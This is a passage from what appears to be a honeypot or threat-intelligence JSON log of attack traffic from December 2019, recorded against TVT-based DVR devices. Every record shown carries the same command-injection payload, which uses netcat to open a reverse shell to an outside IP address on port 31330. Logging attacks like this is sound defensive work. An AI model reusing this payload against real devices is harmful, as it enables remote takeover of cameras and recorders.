  10971.       "country": "US",
  10972.       "user_agent": "Help",
  10973.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10974.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10975.       "target_port": 80,
  10976.       "protocol": "tcp",
  10977.       "tags": [
  10978.         {
  10979.           "cve": "",
  10980.           "category": "IoT",
  10981.           "description": "TVT (Generic OEM) DVR RCE"
  10982.         }
  10983.       ],
  10984.       "event_count": 1,
  10985.       "first_seen": "2019-12-19T05:56:41Z",
  10986.       "last_seen": "2019-12-19T05:56:41Z"
  10987.     },
  10988.     {
  10989.       "source_ip_address": "172.116.0.34",
  10990.       "country": "US",
  10991.       "user_agent": "Help",
  10992.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10993.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10994.       "target_port": 8080,
  10995.       "protocol": "tcp",
  10996.       "tags": [
  10997.         {
  10998.           "cve": "",
  10999.           "category": "IoT",
  11000.           "description": "TVT (Generic OEM) DVR RCE"
  11001.         }
  11002.       ],
  11003.       "event_count": 1,
  11004.       "first_seen": "2019-12-19T05:54:52Z",
  11005.       "last_seen": "2019-12-19T05:54:52Z"
  11006.     },
  11007.     {
  11008.       "source_ip_address": "189.213.222.19",
  11009.       "country": "MX",
  11010.       "user_agent": "Help",
  11011.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11012.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11013.       "target_port": 8080,
  11014.       "protocol": "tcp",
  11015.       "tags": [
  11016.         {
  11017.           "cve": "",
  11018.           "category": "IoT",
  11019.           "description": "TVT (Generic OEM) DVR RCE"
  11020.         }
  11021.       ],
  11022.       "event_count": 1,
  11023.       "first_seen": "2019-12-19T05:49:15Z",
  11024.       "last_seen": "2019-12-19T05:49:15Z"
  11025.     },
  11026.     {
  11027.       "source_ip_address": "96.76.66.161",
  11028.       "country": "US",
  11029.       "user_agent": "Help",
  11030.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11031.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11032.       "target_port": 88,
  11033.       "protocol": "tcp",
  11034.       "tags": [
  11035.         {
  11036.           "cve": "",
  11037.           "category": "IoT",
  11038.           "description": "TVT (Generic OEM) DVR RCE"
  11039.         }
  11040.       ],
  11041.       "event_count": 1,
  11042.       "first_seen": "2019-12-19T05:48:04Z",
  11043.       "last_seen": "2019-12-19T05:48:04Z"
  11044.     },
  11045.     {
  11046.       "source_ip_address": "189.225.185.138",
  11047.       "country": "MX",
  11048.       "user_agent": "Help",
  11049.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11050.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11051.       "target_port": 88,
  11052.       "protocol": "tcp",
  11053.       "tags": [
  11054.         {
  11055.           "cve": "",
  11056.           "category": "IoT",
  11057.           "description": "TVT (Generic OEM) DVR RCE"
  11058.         }
  11059.       ],
  11060.       "event_count": 1,
  11061.       "first_seen": "2019-12-19T05:36:16Z",
  11062.       "last_seen": "2019-12-19T05:36:16Z"
  11063.     },
  11064.     {
  11065.       "source_ip_address": "218.161.124.77",
  11066.       "country": "TW",
  11067.       "user_agent": "Help",
  11068.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11069.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11070.       "target_port": 81,
  11071.       "protocol": "tcp",
  11072.       "tags": [
  11073.         {
  11074.           "cve": "",
  11075.           "category": "IoT",
  11076.           "description": "TVT (Generic OEM) DVR RCE"
  11077.         }
  11078.       ],
  11079.       "event_count": 1,
  11080.       "first_seen": "2019-12-19T05:27:24Z",
  11081.       "last_seen": "2019-12-19T05:27:24Z"
  11082.     },
  11083.     {
  11084.       "source_ip_address": "79.130.47.175",
  11085.       "country": "GR",
  11086.       "user_agent": "Help",
  11087.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11088.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11089.       "target_port": 80,
  11090.       "protocol": "tcp",
  11091.       "tags": [
  11092.         {
  11093.           "cve": "",
  11094.           "category": "IoT",
  11095.           "description": "TVT (Generic OEM) DVR RCE"
  11096.         }
  11097.       ],
  11098.       "event_count": 1,
  11099.       "first_seen": "2019-12-19T05:19:22Z",
  11100.       "last_seen": "2019-12-19T05:19:22Z"
  11101.     },
  11102.     {
  11103.       "source_ip_address": "50.195.159.9",
  11104.       "country": "US",
  11105.       "user_agent": "Help",
  11106.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11107.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11108.       "target_port": 8080,
  11109.       "protocol": "tcp",
  11110.       "tags": [
  11111.         {
  11112.           "cve": "",
  11113.           "category": "IoT",
  11114.           "description": "TVT (Generic OEM) DVR RCE"
  11115.         }
  11116.       ],
  11117.       "event_count": 2,
  11118.       "first_seen": "2019-12-19T04:57:26Z",
  11119.       "last_seen": "2019-12-19T04:57:26Z"
  11120.     },
  11121.     {
  11122.       "source_ip_address": "189.225.77.18",
  11123.       "country": "MX",
  11124.       "user_agent": "Help",
  11125.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11126.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11127.       "target_port": 80,
  11128.       "protocol": "tcp",
  11129.       "tags": [
  11130.         {
  11131.           "cve": "",
  11132.           "category": "IoT",
  11133.           "description": "TVT (Generic OEM) DVR RCE"
  11134.         }
  11135.       ],
  11136.       "event_count": 1,
  11137.       "first_seen": "2019-12-19T04:51:53Z",
  11138.       "last_seen": "2019-12-19T04:51:53Z"
  11139.     },
  11140.     {
  11141.       "source_ip_address": "78.186.185.104",
  11142.       "country": "TR",
  11143.       "user_agent": "Help",
  11144.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11145.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11146.       "target_port": 8080,
  11147.       "protocol": "tcp",
  11148.       "tags": [
  11149.         {
  11150.           "cve": "",
  11151.           "category": "IoT",
  11152.           "description": "TVT (Generic OEM) DVR RCE"
  11153.         }
  11154.       ],
  11155.       "event_count": 3,
  11156.       "first_seen": "2019-12-19T04:51:00Z",
  11157.       "last_seen": "2019-12-19T04:51:00Z"
  11158.     },
  11159.     {
  11160.       "source_ip_address": "47.197.193.9",
  11161.       "country": "US",
  11162.       "user_agent": "Help",
  11163.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11164.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11165.       "target_port": 80,
  11166.       "protocol": "tcp",
  11167.       "tags": [
  11168.         {
  11169.           "cve": "",
  11170.           "category": "IoT",
  11171.           "description": "TVT (Generic OEM) DVR RCE"
  11172.         }
  11173.       ],
  11174.       "event_count": 3,
  11175.       "first_seen": "2019-12-19T04:50:21Z",
  11176.       "last_seen": "2019-12-19T04:50:21Z"
  11177.     },
  11178.     {
  11179.       "source_ip_address": "220.130.170.139",
  11180.       "country": "TW",
  11181.       "user_agent": "Help",
  11182.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11183.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11184.       "target_port": 8000,
  11185.       "protocol": "tcp",
  11186.       "tags": [
  11187.         {
  11188.           "cve": "",
  11189.           "category": "IoT",
  11190.           "description": "TVT (Generic OEM) DVR RCE"
  11191.         }
  11192.       ],
  11193.       "event_count": 3,
  11194.       "first_seen": "2019-12-19T04:36:44Z",
  11195.       "last_seen": "2019-12-19T04:36:44Z"
  11196.     },
  11197.     {
  11198.       "source_ip_address": "95.92.202.142",
  11199.       "country": "PT",
  11200.       "user_agent": "Help",
  11201.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11202.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11203.       "target_port": 80,
  11204.       "protocol": "tcp",
  11205.       "tags": [
  11206.         {
  11207.           "cve": "",
  11208.           "category": "IoT",
  11209.           "description": "TVT (Generic OEM) DVR RCE"
  11210.         }
  11211.       ],
  11212.       "event_count": 1,
  11213.       "first_seen": "2019-12-19T03:50:17Z",
  11214.       "last_seen": "2019-12-19T03:50:17Z"
  11215.     },
  11216.     {
  11217.       "source_ip_address": "67.78.189.20",
  11218.       "country": "US",
  11219.       "user_agent": "Help",
  11220.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11221.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11222.       "target_port": 88,
  11223.       "protocol": "tcp",
  11224.       "tags": [
  11225.         {
  11226.           "cve": "",
  11227.           "category": "IoT",
  11228.           "description": "TVT (Generic OEM) DVR RCE"
  11229.         }
  11230.       ],
  11231.       "event_count": 2,
  11232.       "first_seen": "2019-12-19T03:26:58Z",
  11233.       "last_seen": "2019-12-19T03:26:58Z"
  11234.     },
  11235.     {
  11236.       "source_ip_address": "31.179.233.207",
  11237.       "country": "PL",
  11238.       "user_agent": "Help",
  11239.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11240.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11241.       "target_port": 8000,
  11242.       "protocol": "tcp",
  11243.       "tags": [
  11244.         {
  11245.           "cve": "",
  11246.           "category": "IoT",
  11247.           "description": "TVT (Generic OEM) DVR RCE"
  11248.         }
  11249.       ],
  11250.       "event_count": 2,
  11251.       "first_seen": "2019-12-19T03:22:58Z",
  11252.       "last_seen": "2019-12-19T03:22:58Z"
  11253.     },
  11254.     {
  11255.       "source_ip_address": "83.44.10.77",
  11256.       "country": "ES",
  11257.       "user_agent": "Help",
  11258.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11259.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11260.       "target_port": 8000,
  11261.       "protocol": "tcp",
  11262.       "tags": [
  11263.         {
  11264.           "cve": "",
  11265.           "category": "IoT",
  11266.           "description": "TVT (Generic OEM) DVR RCE"
  11267.         }
  11268.       ],
  11269.       "event_count": 1,
  11270.       "first_seen": "2019-12-19T03:22:26Z",
  11271.       "last_seen": "2019-12-19T03:22:26Z"
  11272.     },
  11273.     {
  11274.       "source_ip_address": "185.205.8.47",
  11275.       "country": "IT",
  11276.       "user_agent": "Help",
  11277.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11278.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11279.       "target_port": 8000,
  11280.       "protocol": "tcp",
  11281.       "tags": [
  11282.         {
  11283.           "cve": "",
  11284.           "category": "IoT",
  11285.           "description": "TVT (Generic OEM) DVR RCE"
  11286.         }
  11287.       ],
  11288.       "event_count": 17,
  11289.       "first_seen": "2019-12-18T19:19:22Z",
  11290.       "last_seen": "2019-12-19T03:16:20Z"
  11291.     },
  11292.     {
  11293.       "source_ip_address": "114.34.190.171",
  11294.       "country": "TW",
  11295.       "user_agent": "Help",
  11296.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11297.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11298.       "target_port": 80,
  11299.       "protocol": "tcp",
  11300.       "tags": [
  11301.         {
  11302.           "cve": "",
  11303.           "category": "IoT",
  11304.           "description": "TVT (Generic OEM) DVR RCE"
  11305.         }
  11306.       ],
  11307.       "event_count": 2,
  11308.       "first_seen": "2019-12-19T02:57:15Z",
  11309.       "last_seen": "2019-12-19T02:57:15Z"
  11310.     },
  11311.     {
  11312.       "source_ip_address": "109.104.226.44",
  11313.       "country": "IT",
  11314.       "user_agent": "Help",
  11315.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11316.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11317.       "target_port": 8080,
  11318.       "protocol": "tcp",
  11319.       "tags": [
  11320.         {
  11321.           "cve": "",
  11322.           "category": "IoT",
  11323.           "description": "TVT (Generic OEM) DVR RCE"
  11324.         }
  11325.       ],
  11326.       "event_count": 6,
  11327.       "first_seen": "2019-12-19T02:01:19Z",
  11328.       "last_seen": "2019-12-19T02:01:19Z"
  11329.     },
  11330.     {
  11331.       "source_ip_address": "111.185.51.218",
  11332.       "country": "TW",
  11333.       "user_agent": "Help",
  11334.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11335.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11336.       "target_port": 88,
  11337.       "protocol": "tcp",
  11338.       "tags": [
  11339.         {
  11340.           "cve": "",
  11341.           "category": "IoT",
  11342.           "description": "TVT (Generic OEM) DVR RCE"
  11343.         }
  11344.       ],
  11345.       "event_count": 7,
  11346.       "first_seen": "2019-12-19T01:51:36Z",
  11347.       "last_seen": "2019-12-19T01:51:36Z"
  11348.     },
  11349.     {
  11350.       "source_ip_address": "171.25.198.21",
  11351.       "country": "PL",
  11352.       "user_agent": "Help",
  11353.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11354.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11355.       "target_port": 80,
  11356.       "protocol": "tcp",
  11357.       "tags": [
  11358.         {
  11359.           "cve": "",
  11360.           "category": "IoT",
  11361.           "description": "TVT (Generic OEM) DVR RCE"
  11362.         }
  11363.       ],
  11364.       "event_count": 5,
  11365.       "first_seen": "2019-12-19T01:33:45Z",
  11366.       "last_seen": "2019-12-19T01:33:45Z"
  11367.     },
  11368.     {
  11369.       "source_ip_address": "98.119.140.65",
  11370.       "country": "US",
  11371.       "user_agent": "Help",
  11372.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11373.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11374.       "target_port": 80,
  11375.       "protocol": "tcp",
  11376.       "tags": [
  11377.         {
  11378.           "cve": "",
  11379.           "category": "IoT",
  11380.           "description": "TVT (Generic OEM) DVR RCE"
  11381.         }
  11382.       ],
  11383.       "event_count": 103,
  11384.       "first_seen": "2019-12-19T01:33:20Z",
  11385.       "last_seen": "2019-12-19T01:33:20Z"
  11386.     },
  11387.     {
  11388.       "source_ip_address": "109.102.31.87",
  11389.       "country": "RO",
  11390.       "user_agent": "Help",
  11391.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11392.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11393.       "target_port": 88,
  11394.       "protocol": "tcp",
  11395.       "tags": [
  11396.         {
  11397.           "cve": "",
  11398.           "category": "IoT",
  11399.           "description": "TVT (Generic OEM) DVR RCE"
  11400.         }
  11401.       ],
  11402.       "event_count": 5,
  11403.       "first_seen": "2019-12-19T01:28:53Z",
  11404.       "last_seen": "2019-12-19T01:28:53Z"
  11405.     },
  11406.     {
  11407.       "source_ip_address": "70.104.137.168",
  11408.       "country": "US",
  11409.       "user_agent": "Help",
  11410.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11411.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11412.       "target_port": 80,
  11413.       "protocol": "tcp",
  11414.       "tags": [
  11415.         {
  11416.           "cve": "",
  11417.           "category": "IoT",
  11418.           "description": "TVT (Generic OEM) DVR RCE"
  11419.         }
  11420.       ],
  11421.       "event_count": 104,
  11422.       "first_seen": "2019-12-19T00:57:09Z",
  11423.       "last_seen": "2019-12-19T00:57:09Z"
  11424.     },
  11425.     {
  11426.       "source_ip_address": "220.85.29.32",
  11427.       "country": "KR",
